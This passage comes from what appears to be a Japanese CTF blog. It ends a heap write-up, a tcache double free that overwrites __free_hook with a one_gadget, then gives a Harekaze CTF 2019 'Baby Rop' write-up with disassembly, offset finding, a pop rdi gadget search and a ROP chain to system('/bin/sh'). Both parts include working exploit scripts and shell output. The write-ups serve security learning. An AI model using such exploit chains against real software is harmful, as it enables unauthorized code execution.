s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(free_hook))

# step6: wipe
s.recvuntil("> ")
s.sendline("3")

# step7: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("BBBBBBBB")

# step8: wipe
s.recvuntil("> ")
s.sendline("3")

# step9: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(one_gadget))

# step10: free
s.recvuntil("> ")
s.sendline("2")

s.interactive()

実行結果

$ python solve.py 
[+] Opening connection to localhost on port 9999: Done
[*] stdin_addr: 0x7f4e8212aa00
[*] libc_base: 0x7f4e81d3f000
[*] free_hook: 0x7f4e8212c8e8
[*] one_gadget: 0x7f4e81d8e322
[*] Switching to interactive mode
$ id
uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)


処理を追ってみる

step1~10に分けて処理を見ていきたいと思います.

step1

まず,1. Allocを選択してデータAAAAAAAAを入力します.

f:id:m412u:20190601163523p:plain

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.


ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.

step2

次に2. Deleteを選択して確保した領域を解放します. 今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.

f:id:m412u:20190601164415p:plain


f:id:m412u:20190601170247j:plain

step3

再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.

f:id:m412u:20190601171128p:plain


f:id:m412u:20190601171149j:plain

step4

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step5

1. Allocを選択し,データとして書き込み先のアドレスを格納します.

f:id:m412u:20190601172122j:plain

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).

step6

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step7

step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcache___free_hookへのアドレスが格納されます.

f:id:m412u:20190601172859j:plain

step8

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step9

step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

f:id:m412u:20190601173656j:plain

step10

step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.

おわりに

疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.


参考にさせていただいたサイト

SECCON Beginners CTF 2019のWriteup - CTFするぞ

Harekaze CTF 2019 Baby Rop Writeup

はじめに

この記事は睡魔と戦いながら書いているためところどころ日本語がおかしくなる場合がございます.


いろいろ確認

ファイル

$ file babyrop 
babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

よくある感じの実行ファイル

セキュリティ機構

$ checksec.sh --file babyrop 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

スタックカナリアが無いので,BOFを使うと考えられる.

プログラム内で行われている処理を確認

$ r2 -AA babyrop 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Select your architecture with: 'e asm.arch=<arch>' or r2 -a from the shell
[0x004004e0]> afl
0x004004e0    1 41           entry0
0x004004b0    1 6            sym.imp.__libc_start_main
0x00400510    4 50   -> 41   sym.deregister_tm_clones
0x00400550    4 58   -> 55   sym.register_tm_clones
0x00400590    3 28           entry.fini0
0x004005b0    4 38   -> 35   entry.init0
0x00400690    1 2            sym.__libc_csu_fini
0x00400694    1 9            sym._fini
0x00400620    4 101          sym.__libc_csu_init
0x004005d6    1 69           main
0x00400490    1 6            sym.imp.system
0x004004c0    1 6            sym.imp.__isoc99_scanf
0x004004a0    1 6            sym.imp.printf
0x00400460    3 26           sym._init
0x004004d0    1 6            sym..plt.got
0x004001a3    1 6            fcn.004001a3
[0x004004e0]> pdf @ main
/ (fcn) main 69
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4004fd)
|           0x004005d6      55             push rbp
|           0x004005d7      4889e5         mov rbp, rsp
|           0x004005da      4883ec10       sub rsp, 0x10
|           0x004005de      bfa8064000     mov edi, str.echo__n__What_s_your_name ; 0x4006a8 ; "echo -n \"What's your name? \"" ; const char *string
|           0x004005e3      e8a8feffff     call sym.imp.system         ; int system(const char *string)
|           0x004005e8      488d45f0       lea rax, [var_10h]
|           0x004005ec      4889c6         mov rsi, rax
|           0x004005ef      bfc5064000     mov edi, 0x4006c5           ; const char *format
|           0x004005f4      b800000000     mov eax, 0
|           0x004005f9      e8c2feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x004005fe      488d45f0       lea rax, [var_10h]
|           0x00400602      4889c6         mov rsi, rax
|           0x00400605      bfc8064000     mov edi, str.Welcome_to_the_Pwn_World___s ; 0x4006c8 ; "Welcome to the Pwn World, %s!\n" ; const char *format
|           0x0040060a      b800000000     mov eax, 0
|           0x0040060f      e88cfeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400614      b800000000     mov eax, 0
|           0x00400619      c9             leave
\           0x0040061a      c3             ret
[0x004004e0]> 
  1. system("echo -n \"What's your name? \");で名前を聞かれる.
  2. scanf("%s", ~~);で文字列を読み取る.
  3. printf("Welcome to the Pwn World, %s!\n");で入力した名前と合わせた文字列を出力する.

RIPを奪うまでのオフセットを確認

注意すること

今回の実行ファイルは内部でsystem()が呼ばれているため,gdbを起動したあとset follow-fork-mode parentで親プロセスの処理を追うように設定しなければならない.

$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ break main
Breakpoint 1 at 0x4005da
gdb-peda$ q
pochi@ubuntu:~/Desktop/Harekaze/babyrop$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ b *0x0040061a
Breakpoint 1 at 0x40061a
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/pochi/Desktop/Harekaze/babyrop/babyrop 
What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x602670 ("Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n")
RDI: 0x1 
RBP: 0x41412d4141434141 ('AACAA-AA')
RSP: 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
RIP: 0x40061a (<main+68>:   ret)
R8 : 0x0 
R9 : 0x32 ('2')
R10: 0xffffffce 
R11: 0x246 
R12: 0x4004e0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdeb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40060f <main+57>:  call   0x4004a0 <printf@plt>
   0x400614 <main+62>:  mov    eax,0x0
   0x400619 <main+67>:  leave  
=> 0x40061a <main+68>:   ret    
   0x40061b:  nop    DWORD PTR [rax+rax*1+0x0]
   0x400620 <__libc_csu_init>:  push   r15
   0x400622 <__libc_csu_init+2>:    push   r14
   0x400624 <__libc_csu_init+4>:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0x7fffffffdde0 ("A)AAEAAaAA0AAFAAbA")
0016| 0x7fffffffdde8 ("AA0AAFAAbA")
0024| 0x7fffffffddf0 --> 0x100004162 
0032| 0x7fffffffddf8 --> 0x4005d6 (<main>:   push   rbp)
0040| 0x7fffffffde00 --> 0x0 
0048| 0x7fffffffde08 --> 0xf0b869d1785eacbf 
0056| 0x7fffffffde10 --> 0x4004e0 (<_start>: xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040061a in main ()
gdb-peda$ patto (AADAA;
(AADAA; found at offset: 24
gdb-peda$ 

"A"*24 + (飛ばしたい処理のアドレス)で良いことがわかる.


方針

今回はプログラム内でsystem()が使用されているため,これを使う. 次に実行させたいコマンドとして使えそうな文字列を探す.libcが与えられていない部分などからプログラム内に隠されていると予想する.

[0x004004e0]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000006a8 0x004006a8  28  29 (.rodata) ascii echo -n "What's your name? "
001 0x000006c8 0x004006c8  30  31 (.rodata) ascii Welcome to the Pwn World, %s!\n
000 0x00001048 0x00601048   7   8 (.data) ascii /bin/sh

アドレス0x00601048/bin/shという理想的な文字列が見つかった.

次はsystem()の引数にどうやって/bin/shを渡すかである.x64は第一引数をrdiレジスタに格納するのでpop rdi; ret;というgadgetが必要. このような場合はrp++で探すと良い.

$ rp-lin-x64 --file=babyrop --rop=1 --unique | grep "pop"
0x00400682: pop r15 ; ret  ;  (1 found)
0x00400540: pop rbp ; ret  ;  (2 found)
0x00400683: pop rdi ; ret  ;  (1 found)

アドレス0x00400683に見つかったのでこれを使用する.


エクスプロイトコード

def main():
    payload = ""
    payload += "A" * 24
    payload += p64(0x400683)    # pop rdi; ret;
    payload += p64(0x601048)    # /bin/sh
    payload += p64(0x400490)    # system@plt

    # 通信部分

    read_until(s, "What's your name? ")
    s.sendall(payload + "\n")

    interact(s)


おわりに

追記したいことがあるので週末にでも書き足すのでよろしくお願いします.